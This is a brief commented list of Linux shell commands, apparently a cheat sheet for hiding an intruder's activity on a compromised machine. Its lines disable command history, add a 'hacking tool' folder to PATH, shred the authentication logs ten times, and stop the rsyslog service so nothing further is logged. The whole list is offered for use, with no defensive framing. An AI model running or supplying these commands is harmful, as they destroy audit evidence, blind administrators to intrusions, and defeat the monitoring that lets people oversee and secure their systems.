kill -9 $$ # The $$ var always returns the PID of running shell
HISTSIZE=0 # Prevent system from storing any entered commands
PATH=$PATH:/root/newhackingtool # Adds new folder to path, preserves existing path
shred -f -n 10 /var/log/auth.log.* # shread all auth logs ten times :)
service rsyslog stop # disable all system logging